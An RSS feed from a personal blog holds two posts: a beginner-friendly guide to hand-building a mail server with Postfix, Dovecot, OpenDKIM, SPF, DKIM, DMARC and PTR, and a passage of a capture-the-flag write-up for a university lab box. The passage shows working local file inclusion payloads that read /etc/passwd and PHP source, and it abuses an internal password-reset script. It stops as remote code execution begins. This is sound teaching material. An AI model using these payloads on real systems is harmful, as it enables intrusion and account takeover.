<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Nginx on AlipourIm journeys</title><link>https://blog.alipour.eu/tags/nginx/</link><description>Recent content in Nginx on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Fri, 24 Jul 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://blog.alipour.eu/tags/nginx/index.xml" rel="self" type="application/rss+xml"/><item><title>Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)</title><link>https://blog.alipour.eu/posts/self_hosting_mail/</link><pubDate>Fri, 24 Jul 2026 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/self_hosting_mail/</guid><description>A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again).</description><content:encoded><![CDATA[<blockquote>
<p>If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do <strong>not</strong> assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.</p></blockquote>
<p>I wanted real email on my own machine — <code>mail.alipourimjourneys.ir</code> — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)</p>
<p>By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand <em>why</em> those pieces exist, which is the part the shiny installers quietly skip.</p>
<hr>
<h2 id="why-i-bothered">Why I bothered</h2>
<p>Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.</p>
<p>I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.</p>
<hr>
<h2 id="how-email-actually-moves">How email actually moves</h2>
<p>Imagine a post office that both receives letters from other post offices <em>and</em> lets you drop off letters to send — but only if you show ID at the counter.</p>
<p><strong>Postfix</strong> is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port <strong>25</strong>. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).</p>
<p>When <em>you</em> want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use <strong>submission</strong>, usually port <strong>587</strong>, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.</p>
<p><strong>Dovecot</strong> is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port <strong>993</strong> so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.</p>
<p><strong>OpenDKIM</strong> sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.</p>
<p>Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.</p>
<p>Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.</p>
<hr>
<h2 id="the-shape-of-my-setup">The shape of my setup</h2>
<p>On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under <code>/srv/services/mail/</code> runs Postgres only for that mail world, listening on <code>127.0.0.1:5433</code>. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.</p>
<p>Nginx terminates HTTPS for a little portal at <code>mail.alipourimjourneys.ir</code>, the admin UI at <code>mailadmin.alipourimjourneys.ir</code>, and Roundcube at <code>webmail.alipourimjourneys.ir</code>. Clients still talk to <code>mail.alipourimjourneys.ir</code> for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.</p>
<hr>
<h2 id="port-25-is-for-servers-port-587-is-for-people">Port 25 is for servers; port 587 is for people</h2>
<p>This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.</p>
<p>Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed <em>to your domain</em>, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.</p>
<p>Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.</p>
<p>I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.</p>
<hr>
<h2 id="what-an-open-relay-is-and-why-localhost-lies-to-you">What an “open relay” is, and why localhost lies to you</h2>
<p>An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.</p>
<p>Here’s the trick that wastes afternoons: testing from <code>127.0.0.1</code>.</p>
<p>Postfix treats localhost as friendly. Cron jobs, monitoring, local <code>sendmail</code> calls — they need to inject mail without performing a full human login. That friendliness is encoded in <code>mynetworks</code>. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.</p>
<p>So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from <code>evil@example.com</code> to <code>someone@example.com</code>, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of <code>454 Relay access denied</code>. A cheerful <code>250</code> on that recipient line is how you wake up as someone else’s cannon.</p>
<p>Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”</p>
<hr>
<h2 id="dns-but-make-it-human">DNS, but make it human</h2>
<h3 id="the-forward-map-name--number">The forward map (name → number)</h3>
<p>You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an <strong>MX</strong> record, which is simply a polite note: “if you’re delivering mail for this domain, knock on <em>that</em> hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.</p>
<p>I put <code>mail.alipourimjourneys.ir</code> on funbox for both v4 and v6, pointed MX at that name, and added <code>webmail</code> and <code>mailadmin</code> the same way.</p>
<h3 id="why-cloudflares-orange-cloud-is-not-invited">Why Cloudflare’s orange cloud is not invited</h3>
<p>Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.</p>
<p>Mail hostnames stay <strong>DNS-only</strong> — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.</p>
<hr>
<h2 id="ptr-records-the-phonebook-in-reverse">PTR records: the phonebook in reverse</h2>
<p>This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.</p>
<p>Normal DNS is a phonebook from names to numbers: you look up <code>mail.example.com</code> and learn the IP. <strong>Reverse DNS</strong> is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a <strong>PTR</strong> record.</p>
<p>Those reverse records do <em>not</em> live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for <code>alipourimjourneys.ir</code> does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.</p>
<p>So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to <code>mail.alipourimjourneys.ir</code>, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.</p>
<p>You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.</p>
<hr>
<h2 id="spf-dkim-and-dmarc-three-different-questions">SPF, DKIM, and DMARC: three different questions</h2>
<p>People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.</p>
<p><strong>SPF</strong> answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then <code>-all</code>, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer <code>~all</code> exists for a reason. I wasn’t mid-migration. I was building one source of truth.</p>
<p><strong>DKIM</strong> answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.</p>
<p><strong>DMARC</strong> answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with <code>p=none</code> (watch and learn), move to <code>quarantine</code> (bad mail goes to spam), and later <code>reject</code> when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.</p>
<p>Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.</p>
<p>Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.</p>
<hr>
<h2 id="building-the-unglamorous-core">Building the unglamorous core</h2>
<p>On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for <code>mail.alipourimjourneys.ir</code>, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.</p>
<p>Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under <code>/var/spool/postfix</code>, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the <code>postfix</code> user connect.</p>
<p>I briefly had two <code>Socket</code> lines in <code>opendkim.conf</code>. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: <code>DKIM-Signature field added</code>. Instant serotonin.</p>
<p>When <code>opendkim-testkey</code> says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.</p>
<hr>
<h2 id="the-matrix-certificate-heist-that-wasnt-a-heist">The Matrix certificate heist (that wasn’t a heist)</h2>
<p>Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting <code>mail.…</code> and found <strong><code>matrix.alipourimjourneys.ir</code></strong> smiling back.</p>
<p>No attacker. No cosmic joke from Let’s Encrypt. Just nginx.</p>
<p>When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no <code>server_name</code> matches, nginx shrugs and uses the <strong>default</strong> server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.</p>
<p>Later I repeated a sibling mistake with <code>webmail.</code>: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting <code>https://webmail.…</code> still fell through to the default server and received Matrix’s cert again. Same villain, new episode.</p>
<p>The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.</p>
<hr>
<h2 id="from-linux-users-to-real-mailboxes">From Linux users to real mailboxes</h2>
<p>The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.</p>
<p>So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under <code>/var/vmail/...</code> owned by a dedicated <code>vmail</code> user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.</p>
<p>Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.</p>
<p>One setting decides whether this feels cursed or calm: <code>mydestination</code>.</p>
<p>That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is <code>mail.alipourimjourneys.ir</code> and you also leave that name in <code>mydestination</code>, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set <code>mydestination</code> to localhost and let the mail domain be virtual. Suddenly the model matched reality.</p>
<p>PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”</p>
<p>One more client quirk: some apps send only <code>ialipour</code> as the username. The database stores <code>ialipour@mail.…</code>. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or <code>local-part@mail.alipourimjourneys.ir</code> did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.</p>
<hr>
<h2 id="webmail-without-losing-the-plot">Webmail without losing the plot</h2>
<p>Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.</p>
<p>I flirted with serving it under a path like <code>/webmail</code> on the main mail hostname while also serving it at the root of <code>webmail.…</code>. Roundcube has opinions about its base path. If you tell it “you live under <code>/webmail</code>” and then put it at <code>/</code> on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.</p>
<p>The calm ending: Roundcube lives at <code>https://webmail.alipourimjourneys.ir/</code> as the site root. The portal links there. Path experiments go in the diary under “character development.”</p>
<hr>
<h2 id="the-bounce-emails-that-taught-me-about-identity">The bounce emails that taught me about identity</h2>
<p>After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail <code>root</code>. My system identity still thought the local domain was <code>mail.alipourimjourneys.ir</code>, so <code>root</code> became <code>root@mail.alipourimjourneys.ir</code>. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.</p>
<p>The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased <code>root</code> to my real virtual address so necessary noise still reaches a human. <code>myhostname</code> can still announce itself as <code>mail.…</code> on the SMTP banner. Different knobs, different jobs.</p>
<p>Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving <code>vmail</code> ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.</p>
<p>And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in <code>/var/log/mail.log</code> so repeated guessing gets a timeout instead of an unlimited hobby.</p>
<hr>
<h2 id="what-done-means-for-me">What “done” means for me</h2>
<p>For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at <code>mail.alipourimjourneys.ir</code>, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.</p>
<p>Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”</p>
<p>If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.</p>
<hr>
<h3 id="links">Links</h3>
<ul>
<li>Portal: <a href="https://mail.alipourimjourneys.ir">mail.alipourimjourneys.ir</a></li>
<li>Webmail: <a href="https://webmail.alipourimjourneys.ir">webmail.alipourimjourneys.ir</a></li>
<li>Admin: <a href="https://mailadmin.alipourimjourneys.ir">mailadmin.alipourimjourneys.ir</a></li>
</ul>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/self_hosting_mail.md">Markdown</a> ·
    <a href="/sources/posts/self_hosting_mail.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
jSo2Yw//UtI5N8jeF&#43;LTvsVHqDbTVyD&#43;x6qiMgRGT4Kpn86V&#43;6NaVjrs6h&#43;kc5Xy
TD9gzCfpwsyfSDBGQ2SHM&#43;bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
HhcRfnS1ICk&#43;hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
4kgsu5qV7bhB2IyS6nYb&#43;A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
4BAMhpgk4baTz0&#43;fSjWiKSokQhizXvB6vK21qu2O&#43;5WbkyY/LLi0klLlF2UqhKnU
HE3&#43;dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx&#43;Ec6&#43;nHiwtLu
O&#43;8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
0k4KDrEbfIvoowTRRXmNpHV&#43;ttSYanjzTl3oQQZ&#43;Y9H&#43;g&#43;uPrfh8oUvivrj&#43;2ZOn
iv9oMoW6Q3rB7V/2&#43;jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
=KCRU
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
  </pre>
</div>


]]></content:encoded></item><item><title>A TU Wien CTF where Sysops Klaus left the keys in the cron job</title><link>https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/</link><pubDate>Fri, 05 Jun 2026 12:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/</guid><description>LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.</description><content:encoded><![CDATA[<blockquote>
<p><strong>Spoiler alert:</strong> this is a full writeup. If you still want to solve <code>g#.tuw.measurement.network</code> yourself, stop here and go poke the box. I&rsquo;ll wait. …No? Ok. Hello friends.</p></blockquote>
<p>This post documents how I solved a CTF box that came out of <a href="https://www.inet.tuwien.ac.at/">Tobias Fiebig</a>&rsquo;s <em>Real World Security</em> presentation at TU Wien — the one with <strong>Sysops Fahrer Klaus</strong>, the guy who &ldquo;just quickly fixes prod&rdquo; and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.</p>
<p>Each student group gets their own host (<code>g00</code>, <code>g01</code>, …). The goal is simple on paper:</p>
<ol>
<li>Collect every <code>passwd_part</code> file sitting in user home directories.</li>
<li>Stitch them together into the <strong>root password</strong> (the full answer lives in <code>/root/passwd</code>).</li>
</ol>
<p>Simple. Boring. Except Klaus was clearly in charge of this VM.</p>
<hr>
<h2 id="0-the-lay-of-the-land">0) The lay of the land</h2>
<p><strong>Target:</strong> <code>g00.tuw.measurement.network</code></p>
<p>From the outside you mostly see three faces of the same machine:</p>
<table>
  <thead>
      <tr>
          <th>Host</th>
          <th>What it is</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>g00.tuw.measurement.network</code></td>
          <td>Main vhost — <code>documentation.md</code>, directory listing, a teasing <code>passwd_part</code> that returns <strong>403</strong></td>
      </tr>
      <tr>
          <td><code>web.g00.tuw.measurement.network</code></td>
          <td>PHP &ldquo;meme gallery&rdquo; with a very trusting <code>?page=</code> parameter</td>
      </tr>
      <tr>
          <td><code>pwreset.g00.tuw.measurement.network</code></td>
          <td>Internal password-reset app — <strong>not reachable directly</strong> from the internet</td>
      </tr>
  </tbody>
</table>
<p>Users on the box (from <code>/etc/passwd</code> via LFI): <code>user1</code>–<code>user4</code>, <code>monitoring</code>, <code>www-data</code>, <code>root</code>.</p>
<p>SSH from outside? Public key only. Password auth is a lie (for us, anyway).</p>
<hr>
<h2 id="1-recon--documentationmd-saves-the-day">1) Recon — documentation.md saves the day</h2>
<p>First stop: the main site.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s https://g00.tuw.measurement.network/documentation.md
</span></span></code></pre></div><p>That file is basically a treasure map. It mentions two services:</p>
<ul>
<li><strong>web</strong> → <code>web.g00.tuw.measurement.network</code></li>
<li><strong>pwreset</strong> → <code>pwreset.g00.tuw.measurement.network</code></li>
</ul>
<p>I also poked the obvious paths (<code>.git</code>, <code>phpinfo</code>, swap files, <code>robots.txt</code>, …). Nothing juicy on the main vhost except the directory index and the forbidden <code>passwd_part</code>.</p>
<p>Subdomains resolve. Good. Let&rsquo;s go web.</p>
<hr>
<h2 id="2-lfi--include_getpage-classic">2) LFI — <code>include($_GET['page'])</code> classic</h2>
<p>The web vhost is a frameset. Content loads in a frame via <code>?page=</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">&#39;https://web.g00.tuw.measurement.network/?page=/etc/passwd&#39;</span>
</span></span></code></pre></div><p>And there it is — root, users, the whole <code>/etc/passwd</code> parade inside the frame.</p>
<p>Source via PHP filter works too:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">&#39;https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  | sed -n <span style="color:#e6db74">&#39;s/.*frame name=&#34;in&#34;&gt;//p&#39;</span> | base64 -d
</span></span></code></pre></div><p><code>index.php</code> is roughly:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>$page <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">&#39;page&#39;</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">&#39;home.php&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">include</span>($page);
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Klaus, my man. We love you.</p>
<p><strong>First instinct:</strong> read all the <code>passwd_part</code> files immediately.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># spoiler: doesn&#39;t work</span>
</span></span><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">&#39;https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># → permission denied</span>
</span></span></code></pre></div><p>Same for <code>user2</code>–<code>user4</code>, <code>monitoring</code>, <code>root/passwd</code>. The LFI runs as <code>www-data</code>. Those files are not world-readable. Fair.</p>
<hr>
<h2 id="3-pwreset--localhost-only-but-lfi-doesnt-care-about-nginx">3) pwreset — localhost-only, but LFI doesn&rsquo;t care about nginx</h2>
<p>Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">allow</span> 127.0.0.1;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">deny</span> <span style="color:#e6db74">all</span>;
</span></span></code></pre></div><p>So you can&rsquo;t hit <code>https://pwreset.g00...</code> from your laptop. But PHP on the <strong>web</strong> vhost can still <strong>include</strong> the pwreset <code>index.php</code> file — that&rsquo;s a local file include, not an HTTP request.</p>
<p>pwreset source (paraphrased):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>$user <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">&#39;user&#39;</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>$pass <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">&#39;pass&#39;</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">file_put_contents</span>(<span style="color:#e6db74">&#39;/var/www/userchange&#39;</span>, <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">$user</span><span style="color:#e6db74">:</span><span style="color:#e6db74">$pass\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Password reset queued.&#34;</span>;
</span></span></code></pre></div><p>It writes <code>user:pass</code> lines to <code>/var/www/userchange</code>. Something on the system processes that file later (spoiler: <code>chpasswd</code>, not shell).</p>
<p><strong>Trigger it through LFI:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>https://web.g00.tuw.measurement.network/
</span></span><span style="display:flex;"><span>  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
</span></span><span style="display:flex;"><span>  &amp;user=user1
</span></span><span style="display:flex;"><span>  &amp;pass=MyTestPass1!
</span></span></code></pre></div><p>I confirmed writes by reading <code>/var/www/userchange</code> back through the LFI. The file updates. Something also <strong>clears</strong> it on a schedule — so a cron job is definitely eating it.</p>
<hr>
<h2 id="4-rce--php-in-userchange-included-like-a-boss">4) RCE — PHP in <code>userchange</code>, included like a boss</h2>
<p>At some point I wondered: what if the thing that processes <code>userchange</code> doesn&rsquo;t only run <code>chpasswd</code>? What if it <strong>includes</strong> the file as PHP?</p>
<p>So I wrote a tiny shell into the <code>user</code> field via pwreset:</p>
